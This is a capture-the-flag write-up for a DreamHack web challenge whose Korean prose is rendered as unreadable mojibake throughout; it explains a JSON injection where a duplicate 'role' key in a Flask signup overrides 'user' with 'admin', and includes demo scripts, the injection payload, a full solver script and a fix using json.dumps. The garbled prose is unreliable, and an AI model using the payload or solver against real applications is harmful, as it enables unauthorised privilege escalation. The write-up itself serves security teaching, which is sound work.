๋ฌธ์ : DreamHack โ
{"role": "admin"}๋ถ๋ฅ: web ๋์ด๋: ๐ฅ Silver 4 FLAG:DH{d2h5X2RpZF95b3VfZGVjb2RlX3RoaXM=}
๋ฌธ์ ์ค๋ช ์ ํ ์ค์ด๋ค.
Can you gain admin access?
์ ๋ชฉ์ด ์ด๋ฏธ ๋ต์ ๋ชจ์์ ๋ณด์ฌ ์ฃผ๊ณ ์๋ค. {"role": "admin"} ์ ๋ง๋ค์ด ๋ด๋ฉด ๋๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | {"role": "admin"} (id 2674) |
| ๋์ด๋ | ๐ฅ Silver 4 |
| ๋ถ๋ฅ | web |
| ์คํ | Flask 3.0.3 ยท Python 3.12-slim (Dockerfile ์ ๊ณต) |
| ์ ๊ณต ํ์ผ | app.py (135์ค) ยท Dockerfile ยท templates/*.html |
| ์๋ฒ | host3.dreamhack.games:<PORT> (๋ผ์ด๋ธ VM) |
| ํต์ฌ ์ทจ์ฝ์ | JSON ์ธ์ ์ โ f-string ์ผ๋ก ์กฐ๋ฆฝํ JSON + ์ค๋ณต ํค |
app.py ๊ฐ 135์ค๋ฟ์ด๋ผ ์ทจ์ฝ์ ์ ๊ธ๋ฐฉ ์ขํ์ง๋ค. ํ์๊ฐ์
์ฒ๋ฆฌ์์ ์ฌ์ฉ์ ์
๋ ฅ์ JSON ๋ฌธ์์ด ์์ ๊ทธ๋๋ก ๋ผ์ ๋ฃ๋ ์๋ฆฌ๊ฐ ๋ณด์ด๋ฉด ๋์ด๋ค.
ํ์ด๋ ์งง์๋ค. ์์ค์์ f-string ์ ๋ฐ๊ฒฌํ๊ณ , ํ์ด์ฌ json ์ด ์ค๋ณต ํค๋ฅผ ์ด๋ป๊ฒ ์ฒ๋ฆฌํ๋์ง ํ์ธํ๊ณ , ๋ก์ปฌ ๋์ปค๋ก ๊ฒ์ฆํ ๋ค ๋ผ์ด๋ธ์ ๊ทธ๋๋ก ์ฎ๊ฒผ๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ JSON ์ ๋ฌธ์์ด๋ก ๋ง๋ค๋ฉด
๊ฐ์ฒด๋ฅผ JSON ์ผ๋ก ๋ง๋๋ ๋ฐฉ๋ฒ์ ๋์ด๋ค.
์ง๋ ฌํ ํจ์๋ฅผ ์ด๋ค. json.dumps({"role": "user", "username": name}) ์ฒ๋ผ. ์ด๋ฌ๋ฉด ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ๊ฐ ์์ ๋ฐ์ดํยท์ญ์ฌ๋์ยท์ ์ด๋ฌธ์๋ฅผ ์์์ ์ด์ค์ผ์ดํํ๋ค. ์ด๋ค ๋ฌธ์์ด์ด ๋ค์ด์๋ ๊ตฌ์กฐ๊ฐ ๊นจ์ง์ง ์๋๋ค.
๋ฌธ์์ด์ ์ด์ด ๋ถ์ธ๋ค. f'{{"username":"{name}"}}' ์ฒ๋ผ. ์ด๋ฌ๋ฉด ๊ฐ์ด ๋ฌธ๋ฒ์ ์ผ๋ถ๊ฐ ๋๋ค. ๊ฐ ์์ " ๊ฐ ์์ผ๋ฉด ๊ฑฐ๊ธฐ์ ๋ฌธ์์ด์ด ๋๋ ๋ฒ๋ฆฌ๊ณ , ๊ทธ ๋ค๋ JSON ๋ฌธ๋ฒ์ผ๋ก ์ฝํ๋ค.
๋ ๋ฒ์งธ๊ฐ SQL ์ธ์ ์ ๊ณผ ์์ ํ ๊ฐ์ ๋ชจ์์ด๋ค. ๋ค๋ง ๋์์ด SQL ์ด ์๋๋ผ JSON ์ผ ๋ฟ์ด๋ค.
๊ทธ๋ฆฌ๊ณ JSON ์๋ SQL ์ ์๋ ์ฑ์ง์ด ํ๋ ๋ ์๋ค. ๊ฐ์ ํค๊ฐ ๋ ๋ฒ ๋์๋ ์๋ฌ๊ฐ ์๋๋ค. RFC 8259 ๋ "ํค๋ ์ ์ผํด์ผ ํ๋ค(SHOULD)" ๋ผ๊ณ ๋ง ํ๊ณ ํ์ ๋์์ ๊ตฌํ์ ๋งก๊ธด๋ค. ํ์ด์ฌ json ์ ๋์ค์ ๋์จ ๊ฐ์ ๋จ๊ธด๋ค.
๊ฐ์ ๋ฎ์ด์ธ ์ ์๋ค๋ ๋ป์ด๋ค. ์์ ๋ญ๊ฐ ๋ฐํ ์๋ .
๐ฌ ์ฝ๋ ์ ์ฐฐ
ํ์๊ฐ์
sed -n "48,82p" extracted/app.py
๋ฌธ์ ์ ์๋ฆฌ๋ ์ฌ๊ธฐ๋ค.
uid = str(uuid.uuid4())
pw = pw_hash(password)
raw_user = (
f'{{"role":"user",'
f'"username":"{username}",' # โ ์ด์ค์ผ์ดํ๊ฐ ์๋ค
f'"pw":"{pw}",'
f'"uid":"{uid}"}}'
)
try:
user = json.loads(raw_user)
except Exception:
return render_template("register.html", title="Register", error="ํ์๊ฐ์
์ ์คํจํ์ต๋๋ค."), 400role ์ด ๋งจ ์์ "user" ๋ก ํ๋์ฝ๋ฉ๋ผ ์๋ค. ๊ฐ๋ฐ์ ์
์ฅ์์๋ "๊ฐ์
์ ๋ฌด์กฐ๊ฑด ์ผ๋ฐ ์ฌ์ฉ์" ๋ฅผ ๊ฐ์ ํ ๊ฒ์ด๋ค.
๊ทธ๋ฐ๋ฐ username ์ด ๊ทธ ๋ค์ ์ด์ค์ผ์ดํ ์์ด ๋ค์ด๊ฐ๋ค. ๋ค์์ role ์ ํ ๋ฒ ๋ ์ฐ๋ฉด ์์ ๊ฒ์ด ๋ฎ์ธ๋ค.
๋๋จธ์ง ํ๋ฆ
@app.route("/flag", methods=["GET"])
def flag():
user = current_user()
if not user:
return jsonify(error="not logged in"), 401
if user.get("role") == "admin": # โ ์ ์ฅ๋ ๊ฐ์ฒด์ role ๋ง ๋ณธ๋ค
return jsonify(flag=FLAG)
return jsonify(error="forbidden"), 403/flag ๋ ์ธ์
์ uid ๋ก USERS ์์ ๊บผ๋ธ ๊ฐ์ฒด์ role ๋ง ๋ณธ๋ค. ๋ณ๋ ๊ฒ์ฆ์ด ์๋ค. ๊ทธ๋ฌ๋ ์ ์ฅ ์์ ์ role ์ admin ์ผ๋ก ๋ง๋ค๋ฉด ๊ทธ๊ฑธ๋ก ๋์ด๋ค.
๋ก๊ทธ์ธ๋ ์ฐ๋ฆฌ ํธ์ด๋ค. pw ๋ ์ฃผ์
๊ณผ ๋ฌด๊ดํ๊ฒ ์ฐ๋ฆฌ๊ฐ ์ ํ ํด์ ๊ทธ๋๋ก ๋จ์ผ๋ ์ ์์ ์ผ๋ก ๋ก๊ทธ์ธ๋๋ค.
๐ฃ ํต์ฌ โ ์ค๋ณต ํค
username ์ ์ด๊ฑธ ๋ฃ๋๋ค.
hacker","role":"admin๊ทธ๋ฌ๋ฉด ์๋ฒ๊ฐ ๋ง๋๋ ๋ฌธ์์ด์ ์ด๋ ๊ฒ ๋๋ค.
{"role":"user","username":"hacker","role":"admin","pw":"<sha256>","uid":"<uuid>"}role ์ด ๋ ๋ฒ ๋ค์ด๊ฐ๋ค.

ํ์ด์ฌ์ด ์ด๊ฑธ ์ด๋ป๊ฒ ์ฝ๋์ง๋ ์ง์ ๋๋ ค ๋ณด๋ฉด ๋๋ค.
#!/usr/bin/env python3
"""์ค๋ณต ํค๊ฐ ์๋ JSON ์ ํ์ด์ฌ์ด ์ด๋ป๊ฒ ์ฝ๋์ง ํ์ธํ๋ค."""
import json
TEMPLATE = '{{"role":"user","username":"{u}","pw":"<sha256>","uid":"<uuid>"}}'
cases = [
("ํ๋ฒํ ์ด๋ฆ", "hacker"),
("๋ฐ์ดํ ๋ซ๊ณ role ์ถ๊ฐ", 'hacker","role":"admin'),
("role ์ ์์ ๋ฃ์ด ๋ณด๋ฉด", 'hacker","role":"admin","username":"hacker'),
]
for label, username in cases:
raw = TEMPLATE.format(u=username)
print(f"[{label}]")
print(f" ์๋ฒ๊ฐ ๋ง๋๋ ๋ฌธ์์ด : {raw}")
try:
obj = json.loads(raw)
except Exception as e:
print(f" json.loads โ ์์ธ: {e}\n")
continue
print(f" json.loads ๊ฒฐ๊ณผ : {obj}")
print(f" role : {obj.get('role')}"
f"{' โ ๊ด๋ฌธ ํต๊ณผ' if obj.get('role') == 'admin' else ''}")
print(f" username : {obj.get('username')}\n")
print("ํ์ด์ฌ json ์ ์ค๋ณต ํค์์ '๋์ค์ ๋์จ ๊ฐ'์ ๋จ๊ธด๋ค.")
print("๊ทธ๋์ ์์ ๋ฐํ ์๋ \"role\":\"user\" ๋ฅผ ๋ค์์ ๋ฎ์ด์ธ ์ ์๋ค.")python3 json_dup_demo.py
์ธ ๋ฒ์งธ ์ผ์ด์ค๋ ๋์ฌ๊ฒจ๋ณผ ๋งํ๋ค. username ๊น์ง ๋ค์ ๋ฃ์ด๋ ๊ฒฐ๊ณผ๋ ๊ฐ๋ค โ ์ด์ฐจํผ ๋์ค ๊ฐ์ด ๋จ์ผ๋ ํ์ ์ด๋ฆ์ ์ํ๋ ๋๋ก ๊ณ ์ ํ ์๋ ์๋ค.
๋จ๋ ์กฐ๊ฑด ํ๋
username ์ ๋ฐ์ดํ๋ฅผ ๋ฃ์๋๋ฐ ๋ค์์ ์ด๋ฆ ์ถฉ๋ ๊ฒ์ฌ๋ฅผ ํต๊ณผํ ๊น?
final_username = str(user.get("username", "")).strip()
if final_username in UID:
return ... , 409๊ฒ์ฌ ๋์์ ํ์ฑ๋ ๋ค์ username ์ด๋ค. ์ฃผ์
๋ฌธ์์ด์ด ์๋๋ผ "hacker" ๋ค. ๊ทธ๋ฌ๋ hacker ๋ผ๋ ์ด๋ฆ๋ง ์ ์ฐ์ด๊ณ ์์ผ๋ฉด ํต๊ณผํ๋ค. ๊ทธ๋ฆฌ๊ณ ๋ก๊ทธ์ธํ ๋๋ hacker ๋ก ํ๋ฉด ๋๋ค.
์ด๋๊น์ง ๋ฎ์ ์ ์๋
role ์ด ๋ฎ์ธ๋ค๋ฉด pw ๋ uid ๋ ๋ฎ์ด์ ์์ ๊ธฐ์กด admin ๊ณ์ ์ ๊ฐ๋ก์ฑ ์ ์์ง ์์๊น. ํ์ธํด ๋ดค๋ค.
#!/usr/bin/env python3
"""์ฃผ์
์ผ๋ก '๋ฌด์๊น์ง' ๋ฎ์ ์ ์๋์ง ๋ฐ์ ธ ๋ณธ๋ค."""
import json
TEMPLATE = '{{"role":"user","username":"{u}","pw":"<์๋ฒ๊ฐ ์ ํ ํด์>","uid":"<์๋ฒ๊ฐ ๋ง๋ uuid>"}}'
cases = [
("role ๋ฎ๊ธฐ โ ์ฃผ์
์ง์ ๋ณด๋ค ์", 'hacker","role":"admin', "role"),
("username ๋ฎ๊ธฐ โ ์๊ธฐ ์์ ", 'hacker","username":"other', "username"),
("pw ๋ฎ๊ธฐ ์๋ โ ์ฃผ์
์ง์ ๋ณด๋ค ๋ค", 'hacker","pw":"deadbeef', "pw"),
("uid ๋ฎ๊ธฐ ์๋ โ ์ซ์๋ฅผ ๊ทธ๋ฅ ๋ฃ์ผ๋ฉด", 'hacker","uid":1', "uid"),
("uid ๋ฎ๊ธฐ ์๋ โ ๋ฌธ๋ฒ์ ๋ง์ถฐ์", 'hacker","uid":1,"pad":"', "uid"),
]
print(f"ํ : {TEMPLATE.format(u='<์ฃผ์
์ง์ >')}\n")
for label, username, key in cases:
raw = TEMPLATE.format(u=username)
print(f"[{label}]")
print(f" username : {username}")
try:
obj = json.loads(raw)
except json.JSONDecodeError as e:
print(f" json.loads โ JSONDecodeError: {e.msg} (col {e.colno})")
print(" ์๋ฒ๋ ์ด๋ 400 'ํ์๊ฐ์
์ ์คํจํ์ต๋๋ค' ๋ฅผ ์ค๋ค\n")
continue
print(f" {key:8s} : {obj.get(key)!r}")
print()python3 inject_scope.py
๋ต์ ์ฃผ์ ์ง์ ๋ณด๋ค ์์ ์๋ ํค๋ง ์ด๋ค.
ํ์ ํค ์์๊ฐ role โ username โ pw โ uid ์ธ๋ฐ ์ฐ๋ฆฌ๊ฐ ๋ผ์ด๋๋ ์๋ฆฌ๋ username ์ด๋ค. ์ฐ๋ฆฌ๊ฐ ๋ฃ์ pw/uid ๋ ํ์ ์๋ pw/uid ๋ณด๋ค ๋จผ์ ๋์ค๋ฏ๋ก, ๋์ค ๊ฐ์ด ์ด๊ธฐ๋ ๊ท์น์ ๋ฐ๋ผ ์๋ฒ ๊ฐ์ด ๋จ๋๋ค.
๊ทธ๋์ ์ด ๊ฒฝ๋ก๋ก๋ ๊ถํ ์์น๊น์ง๊ณ ๊ธฐ์กด admin(uid 1) ๊ณ์ ํ์ทจ๋ ์ ๋๋ค. role ์ด ํํ ๋งจ ์์ ์์ด์ ๋ซ๋ฆฐ ๊ฒ์ด๋ค โ ๊ฐ๋ฐ์๊ฐ "๋ฌด์กฐ๊ฑด user ๋ก ๋ชป๋ฐ๊ฒ ๋ค" ๋ฉฐ ์์ ๋ ๊ทธ ์์น๊ฐ ์คํ๋ ค ์ ์ผํ๊ฒ ๋ฎ์ ์ ์๋ ์๋ฆฌ๋ฅผ ๋ง๋ค์๋ค.
์ซ์๋ฅผ ๊ทธ๋ฅ ๋ฃ์ ๊ฒฝ์ฐ๋ ๋ณผ ๋งํ๋ค. "uid":1 ๋ค์ ํ์ " ๊ฐ ๊ทธ๋๋ก ๋ฐ๋ผ์ JSON ์ด ๊นจ์ง๊ณ , json.loads ๊ฐ ์์ธ๋ฅผ ๋์ ธ ์๋ฒ๊ฐ 400 ์ ์ค๋ค. ์ฃผ์
์ด ๋ฌธ๋ฒ์ ๊นจ๋ฉด ๊ทธ๋๋ก ํฐ๊ฐ ๋๋ค๋ ๋ป์ด๋ผ, ํ์ด๋ก๋๋ฅผ ๋ค๋ฌ์ ๋ ์ด ์๋ต์ด ์ ํธ๊ฐ ๋๋ค.
๐ ์ฝ์ง
โถ๐ณ๏ธ ์ฝ์ง 1 โ ๋์กฐ๊ตฐ์ด ๋์กฐ๊ตฐ์ด ์๋์๋ค
๋ก์ปฌ ๊ฒ์ฆ์ ์ฒ์ ๋๋ฆด ๋ "์ฃผ์ ์๋ ๊ณ์ ๋ ํ์ธํด ๋์" ๋ฉฐ ์ด๋ ๊ฒ ๋ถ๋ ๋ค.
python3 solve.py http://127.0.0.1:15000 --name plainuser --password pw
python3 solve.py http://127.0.0.1:15000 --name hacker --password pw1234๋ ๋ค flag ๊ฐ ๋์๋ค. ์ ๊น "์ด? ์ฃผ์ ์์ด๋ ๋๋?" ์ถ์๋๋ฐ, ์์ธ์ ์ฝ๋ ์ชฝ์ด์๋ค.
--name ์ ๊ทธ๋ฅ ํ์ ์ด๋ฆ์ด๊ณ , ์ค์ ๋ก ๋ณด๋ด๋ ๊ฐ์ ํจ์๊ฐ ๋ง๋ ๋ค.
payload = build_username(a.name) # ์ด๋ฆ์ด ๋ญ๋ ํญ์ ์ฃผ์
๋ฌธ์์ด์ ๋ง๋ ๋ค์ฆ ๋ ๋ฒ ๋ค ์ฃผ์ ์ ๋ณด๋๋ค. ๋์กฐ๊ตฐ์ด๋ผ๊ณ ๋ถ๋ฅธ ์ชฝ๋ ๊ณต๊ฒฉ์ด์๋ ๊ฒ์ด๋ค.
--plain ํ๋๊ทธ๋ฅผ ๋ง๋ค์ด ์ฃผ์
์ ์ค์ ๋ก ๋๊ณ ๋์์ผ 403 ์ด ๋์๋ค.
payload = a.name if a.plain else build_username(a.name)"๋์กฐ๊ตฐ"์ด๋ผ๋ ์ด๋ฆ์ ๋ถ์๋ค๊ณ ๋์กฐ๊ตฐ์ด ๋์ง๋ ์๋๋ค. ๋ ์คํ์ด ์ ํํ ์ด๋์ ๊ฐ๋ฆฌ๋์ง ์ฝ๋๋ก ํ์ธํด์ผ ํ๋ค. ์ด๊ฑธ ์ ์ก์์ผ๋ฉด "์ฃผ์ ์์ด๋ flag ๊ฐ ๋์จ๋ค"๋ ์๋ฑํ ๊ฒฐ๋ก ์ ๊ธ์ ์ค์ ๋ปํ๋ค.
โถ๐ณ๏ธ ์ฝ์ง 2 โ 403 ์ ๋ณด๋ ค๋๋ฐ ์์ธ๊ฐ ๋จผ์ ํฐ์ก๋ค
๋์กฐ๊ตฐ์ ์ ๋๋ก ๋ง๋ค๊ณ ๋๋ ธ๋๋ ์ด๋ฒ์ ๊ฒฐ๊ณผ ๋์ ํธ๋ ์ด์ค๋ฐฑ์ด ๋์๋ค.
urllib.error.HTTPError: HTTP Error 403: FORBIDDENurllib ์ 4xx/5xx ๋ฅผ ์์ธ๋ก ์ฌ๋ฆฐ๋ค. requests ์ฒ๋ผ ์๋ต ๊ฐ์ฒด๋ฅผ ๋๋ ค์ฃผ์ง ์๋๋ค. ๊ทธ๋ฐ๋ฐ ์ด ๋ฌธ์ ์์๋ 403 ์ ๋ณธ๋ฌธ({"error":"forbidden"})์ด ๋ณด๊ณ ์ถ์ ๊ฒ์ด๋ผ, ์์ธ๋ก ๋๋๋ฉด ์ ์ ํ์ํ ๊ฑธ ๋ชป ๋ณธ๋ค.
HTTPError ๊ฐ์ฒด ์์ฒด๊ฐ ํ์ผ ๊ฐ์ ๊ฐ์ฒด๋ผ .read() ๊ฐ ๋๋ค๋ ๊ฑธ ์ด์ฉํด ์ผ์ผฐ๋ค.
def get(path: str) -> str:
"""403/401 ๋ ๋ณธ๋ฌธ์ ๋ด์ผ ํ๋ฏ๋ก HTTPError ๋ฅผ ์ผํค๊ณ ์๋ต์ ๋๋ ค์ค๋ค."""
try:
with opener.open(base + path, timeout=30) as r:
return r.read().decode(errors="replace")
except urllib.error.HTTPError as e:
return f"[HTTP {e.code}] " + e.read().decode(errors="replace")์คํจ ์๋ต์ด ๊ฒฐ๊ณผ์ธ ๋๊ตฌ์์๋ 4xx ๋ฅผ ์์ธ๋ก ๋๋ฉด ์ ๋๋ค. ๋์กฐ๊ตฐ์ด ์๋ ์ต์คํ๋ก์ ์คํฌ๋ฆฝํธ๋ ๋์ฒด๋ก ์ด ๊ฒฝ์ฐ์ ํด๋นํ๋ค.
๐ฏ ์ต์คํ๋ก์
๋ธ๋ผ์ฐ์ ๋ก
ํ์๊ฐ์ ํผ์ ๊ทธ๋๋ก ๋ฃ์ด ๋ณธ๋ค. ํน๋ณํ ๋๊ตฌ๊ฐ ํ์ ์๋ค.

๊ฐ์
์ด ๋๋๋ฉด ํ์ ์ด๋ฆ์ shotuser ๋ค. ๊ทธ ์ด๋ฆ์ผ๋ก ๋ก๊ทธ์ธํ๋ค.

๋ก๊ทธ์ธํ๋ฉด ๋ฉ์ธ์ด ์ฐ๋ฆฌ ๊ถํ์ ๊ทธ๋๋ก ๋ณด์ฌ ์ค๋ค.

role: admin. /me ๋ก ์ ์ฅ๋ ๊ฐ์ฒด๋ฅผ ์ง์ ํ์ธํ๋ค.

๊ทธ๋ฆฌ๊ณ /flag.

๋์กฐ๊ตฐ
์ฃผ์ ์์ด ํ๋ฒํ๊ฒ ๊ฐ์ ํ ๊ณ์ ์ ์ด๋ป๊ฒ ๋๋์ง๋ ๊ฐ์ด ํ์ธํด ๋๋ค.


role: user โ 403 forbidden. ๊ฒ์ฌ ์์ฒด๋ ์ ๋๋ก ๋์ํ๋ค. ๋ฌด๋์ง ๊ฑด ๊ทธ ๊ฒ์ฌ๊ฐ ๋ณด๋ ๊ฐ์ ์ฐ๋ฆฌ๊ฐ ์ ํ ์ ์๋ค๋ ๊ฒ๋ฟ์ด๋ค.
๐ Full Exploit
#!/usr/bin/env python3
"""{"role": "admin"} (DreamHack, Silver 4 / web) โ solver
์ทจ์ฝ์ :
/register ๊ฐ username ์ ์ด์ค์ผ์ดํ ์์ด JSON **๋ฌธ์์ด ์์** ๋ผ์ ๋ฃ๋๋ค.
raw_user = f'{{"role":"user","username":"{username}","pw":"{pw}","uid":"{uid}"}}'
user = json.loads(raw_user)
๊ทธ๋์ username ์ ๋ฐ์ดํ๋ฅผ ํ๋ ๋ซ๊ณ `,"role":"admin"` ์ ๋ง๋ถ์ด๋ฉด
๊ฐ์ ๊ฐ์ฒด์ role ํค๊ฐ ๋ ๋ฒ ๋ค์ด๊ฐ๋ค.
{"role":"user","username":"hacker","role":"admin","pw":"...","uid":"..."}
โ
ํ์ด์ฌ json ์ ์ค๋ณต ํค์์ **๋์ค ๊ฐ์ ์ทจํ๋ค**. role ์ด admin ์ผ๋ก ๋ฎ์ธ๋ค.
/flag ๋ user.get("role") == "admin" ๋ง ๋ณด๋ฏ๋ก ๊ทธ๋๋ก ํต๊ณผํ๋ค.
๋น๋ฐ๋ฒํธ๋ ์ฐ๋ฆฌ๊ฐ ์ ํ ๊ทธ๋๋ก ๋จ์ผ๋ ๋ก๊ทธ์ธ๋ ์ ์์ ์ผ๋ก ๋๋ค.
์ฌ์ฉ:
python3 solve.py http://host1.dreamhack.games:10000
"""
import argparse
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
import http.cookiejar
def build_username(name: str) -> str:
"""๊ฒ์ฌ๋ ํต๊ณผํ๊ณ role ๋ง ๋ฎ์ด์ฐ๋ username ์ ๋ง๋ ๋ค."""
return f'{name}","role":"admin'
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("target", help="๋ฌธ์ ์๋ฒ URL (์: http://host1.dreamhack.games:10000)")
ap.add_argument("--name", default="hacker", help="๊ฐ์
ํ ์ด๋ฆ")
ap.add_argument("--password", default="pw1234")
ap.add_argument("--plain", action="store_true",
help="์ฃผ์
์์ด ๊ทธ๋ฅ ๊ฐ์
ํ๋ค (๋์กฐ๊ตฐ โ 403 ์ด ๋์์ผ ์ ์)")
a = ap.parse_args()
base = a.target.rstrip("/")
jar = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
def post(path: str, data: dict) -> str:
req = urllib.request.Request(base + path,
data=urllib.parse.urlencode(data).encode())
with opener.open(req, timeout=30) as r:
return r.read().decode(errors="replace")
def get(path: str) -> str:
"""403/401 ๋ ๋ณธ๋ฌธ์ ๋ด์ผ ํ๋ฏ๋ก HTTPError ๋ฅผ ์ผํค๊ณ ์๋ต์ ๋๋ ค์ค๋ค."""
try:
with opener.open(base + path, timeout=30) as r:
return r.read().decode(errors="replace")
except urllib.error.HTTPError as e:
return f"[HTTP {e.code}] " + e.read().decode(errors="replace")
payload = a.name if a.plain else build_username(a.name)
print(f"[*] ๋ณด๋ผ username : {payload!r}" + (" (๋์กฐ๊ตฐ โ ์ฃผ์
์์)" if a.plain else ""))
print("[*] ์๋ฒ๊ฐ ๋ง๋ค JSON :")
print(f' {{"role":"user","username":"{payload}","pw":"<sha256>","uid":"<uuid>"}}')
body = post("/register", {"username": payload, "password": a.password})
if "error" in body and "์ด๋ฏธ ์กด์ฌ" in body:
print("[-] ์ด๋ฏธ ์กด์ฌํ๋ username โ --name ์ ๋ฐ๊ฟ๋ผ")
return 1
print(f"[+] ๊ฐ์
์๋ฃ (ํ์ ์ด๋ฆ์ {a.name!r})")
post("/login", {"username": a.name, "password": a.password})
me = get("/me")
print(f"[*] /me โ {me.strip()}")
is_admin = '"role": "admin"' in me or '"role":"admin"' in me
if a.plain:
print(f"[*] ๋์กฐ๊ตฐ role admin? {is_admin}")
elif not is_admin:
print("[-] role ์ด admin ์ด ์๋๋ค")
return 1
else:
print("[+] role ์ด admin ์ผ๋ก ๋ฎ์๋ค")
out = get("/flag")
print(f"[*] /flag โ {out.strip()}")
m = re.search(r"DH\{[^}]*\}", out)
if m:
print(f"[+] FLAG: {m.group(0)}")
return 0
print("[-] flag ๋ฅผ ๋ชป ๋ฐ์๋ค")
return 1
if __name__ == "__main__":
sys.exit(main())--plain ์ ์ฃผ์
์์ด ๊ฐ์ ํ๋ฆ์ ๋๋ ๋์กฐ๊ตฐ์ด๋ค. ์ต์ค๊ฐ "์ฐ์ฐํ ๋๋ ๊ฒ"์ด ์๋๋ผ ์ฃผ์
๋๋ฌธ์ ๋๋ ๊ฒ์์ ๊ฐ์ ์คํฌ๋ฆฝํธ๋ก ๋ณด์ด๋ ค๊ณ ๋ฃ์๋ค.
python3 solve.py http://host3.dreamhack.games:22222 --name shotrun --password pw1234
DH{d2h5X2RpZF95b3VfZGVjb2RlX3RoaXM=}ํ๋๊ทธ๊ฐ base64 ์ฒ๋ผ ์๊ฒจ์ ๋์ฝ๋ํด ๋ณด๋ฉด why_did_you_decode_this ๋ค. ์ถ์ ์์ ๋๋ด์ด๊ณ , ์ ์ถ์ ์๋ฌธ ๊ทธ๋๋ก ํ๋ค.
๐งช ์ฌํ
๋ผ์ด๋ธ์ ๋๊ฐ๊ธฐ ์ ์ ๊ฐ์ ๊ฑธ ์ ๋ถ ๋ก์ปฌ์์ ๋๋ ธ๋ค. Dockerfile ์ด ๊ทธ๋๋ก ์์ผ๋ ๋ฌธ์ ํ๊ฒฝ์ ํต์งธ๋ก ์ฌํํ ์ ์๋ค.
./reproduce.sh
์ธ์๋ฅผ ์ฃผ๋ฉด ๋ผ์ด๋ธ ๋ชจ๋๋ก ๋๋ค.
./reproduce.sh http://host3.dreamhack.games:22222ํ์ ์ ์ด๋ ๊ฒ ์ฝ๋๋ค.
| ํ๋ฉด | ๋ป | ๋์ฒ |
|---|---|---|
ํ์๊ฐ์
์ ์คํจํ์ต๋๋ค | ์ฃผ์ ์ด JSON ๋ฌธ๋ฒ์ ๊นจ๋จ๋ฆผ | ๋ฐ์ดํ ๊ฐ์ ํ์ธ โ ์ฌ๋ ๊ฒ ์์ด ๋ซ๊ธฐ๋ง |
์ด๋ฏธ ์กด์ฌํ๋ username | ๊ฐ์ ์ด๋ฆ์ ์ด๋ฏธ ์ผ๋ค | --name ์ ๋ฐ๊พผ๋ค |
| ๋์กฐ๊ตฐ์ด 403 ์ด ์๋ | ๋ฐฐํฌ๋ณธ์ด ์๋ ๊ฑธ ๋์ ๋ค | extracted/app.py ๋ก ๋น๋ํ๋์ง ํ์ธ |
/me ์ role ์ด user | ์ฃผ์ ์ด ๋ฌธ์์ด๋ก๋ง ๋ค์ด๊ฐ | ํผ ์ธ์ฝ๋ฉ์์ " ๊ฐ ์ด์ ์๋์ง ํ์ธ |
/flag ๊ฐ 401 | ์ธ์ ์ฟ ํค๊ฐ ์ ๋ถ์ | ์ฟ ํค ์ฒ๋ฆฌ๊ธฐ(HTTPCookieProcessor) ํ์ธ |
๋ก์ปฌ ๋ชจ๋๊ฐ ์ฐ๋ ๋๋ฏธ ํ๋๊ทธ๋ DH{local_dummy_role_admin} ์ด๋ค. ์ง์ง ํ๋๊ทธ๋ ๋ฌธ์ ์๋ฒ ํ๊ฒฝ๋ณ์์๋ง ์์ผ๋ฏ๋ก ์คํ๋ผ์ธ์ผ๋ก๋ ์ป์ ์ ์๋ค.
ํ์ํ ๊ฑด docker ์ python3 ๋์ด๋ค.
๐ ๊ฒฐ๋ก
JSON ์ ์ง๋ ฌํ ํจ์๋ก ๋ง๋ ๋ค. ๋ฌธ์์ด๋ก ์ด์ด ๋ถ์ด์ง ์๋๋ค.
json.dumps ๋ฅผ ์ผ์ผ๋ฉด ์ด ๋ฌธ์ ๋ ์กด์ฌํ์ง ์๋๋ค. ๊ฐ ์์ ๋ฐ์ดํ๊ฐ \" ๋ก ์ด์ค์ผ์ดํ๋ผ ๊ตฌ์กฐ๊ฐ ๊นจ์ง์ง ์๊ธฐ ๋๋ฌธ์ด๋ค. f-string ์ผ๋ก ์กฐ๋ฆฝํ๋ ์๊ฐ ๊ฐ์ด ๋ฌธ๋ฒ์ด ๋๋ค โ SQL ์ ๋ฌธ์์ด๋ก ์ด์ด ๋ถ์ผ ๋์ ์ ํํ ๊ฐ์ ์ค์๋ค.
user = {"role": "user", "username": username, "pw": pw, "uid": uid} # ์ด๊ฑฐ๋ฉด ๋ํค ์์๋ก ๊ถํ์ ๊ฐ์ ํ๋ ค๋ ์๋๋ ํตํ์ง ์๋๋ค.
"role":"user" ๋ฅผ ๋งจ ์์ ๋ฐ์ ๋ ๊ฑด "๊ฐ์
์ ๋ฌด์กฐ๊ฑด ์ผ๋ฐ ์ฌ์ฉ์" ๋ฅผ ๋ชป๋ฐ์ผ๋ ค๋ ์๋๋ก ๋ณด์ธ๋ค. ๊ทธ๋ฐ๋ฐ JSON ์ ์ค๋ณต ํค๋ฅผ ์๋ฌ๋ก ๋ง๋ค์ง ์๊ณ , ํ์ด์ฌ์ ๋์ค ๊ฐ์ ๋จ๊ธด๋ค. ์์ ๋๋ ๊ฒ์ผ๋ก๋ ์๋ฌด๊ฒ๋ ๋ณด์ฅ๋์ง ์๋๋ค.
ํ์๋ง๋ค ๋ค๋ฅด๋ค๋ ๊ฒ๋ ์์ ๋ ๋งํ๋ค. ์๋ฐ์คํฌ๋ฆฝํธ JSON.parse ๋ ๋์ค ๊ฐ์ ๋จ๊ธฐ์ง๋ง, ์ด๋ค ๊ตฌํ์ ์ฒซ ๊ฐ์ ๋จ๊ธฐ๊ณ ์ด๋ค ๊ตฌํ์ ์๋ฌ๋ฅผ ๋ธ๋ค. ๊ทธ ์ฐจ์ด ์์ฒด๊ฐ ์ทจ์ฝ์ ์ด ๋๊ธฐ๋ ํ๋ค โ ๊ฒ์ฌํ๋ ํ์์ ์ฌ์ฉํ๋ ํ์๊ฐ ๋ค๋ฅด๋ฉด ๊ฐ์ด ๊ฐ๋ฆฐ๋ค.
๊ถํ์ ์ฌ์ฉ์ ์ ๋ ฅ์ด ๋ฟ๋ ์๋ฆฌ์ ๋์ง ์๋๋ค.
์ด ์ฑ์ role ์ ์ฌ์ฉ์ ๊ฐ์ฒด ์์ ๋ฃ์ด ๋๊ณ /flag ์์ ๊ทธ ๊ฐ์ ๊ทธ๋๋ก ๋ฏฟ๋๋ค. ์
